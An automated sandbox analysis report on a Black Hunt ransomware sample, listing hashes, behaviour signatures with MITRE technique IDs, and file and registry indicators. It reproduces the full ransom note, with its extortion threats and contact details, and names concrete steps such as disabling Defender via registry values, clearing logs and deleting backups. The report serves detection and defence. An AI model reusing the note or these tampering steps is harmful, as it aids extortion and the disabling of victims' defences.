639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:34

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General

Target

639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Size

707KB
MD5

d4f1e4caf3d9fb74ecdccc11662a3cec
SHA1

26f09ca7eb00fd1b972c399280d42c7eeac1dc24
SHA256

639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784
SHA512

82a270ce0df5adc53db75d0df2605916417dc7523960ccd9da35fff31d0bfceb55d22b6e71a779a1f996bf239d1212f969f7fe345b925a629071a2dc6d0d3d1a
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza138vvnh:6uaTmkZJ+naie5OTamgEoKxLWenh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> LABLxUo7NqZ3JJ4n </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2700	fsutil.exe
3576	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2024	wevtutil.exe
3472	wevtutil.exe
3752	wevtutil.exe
3288	wevtutil.exe
3428	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2872	bcdedit.exe
1776	bcdedit.exe
4068	bcdedit.exe
4012	bcdedit.exe

Renames multiple (2911) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1536	wbadmin.exe
1736	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2384	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\U:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\S:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\M:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\W:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\A:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\J:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\R:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\P:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\G:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\H:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\K:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\X:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\V:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\E:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\L:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Y:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\I:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\Z:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\B:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\N:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Sofia	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Saipan	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-next-static.png	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\jni.h	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fontconfig.properties.src	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository.nl_zh_4.4.0.v20140623020002.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\gtkHandle.png	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\RequestComplete.wm	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\feature.xml	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\MANIFEST.MF	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\COPYING.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Srednekolymsk	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.di_1.4.0.v20140414-1837.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_window.html	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\PreviousMenuButtonIcon.png	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Abidjan	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jre7\bin\server\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\El_Salvador	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
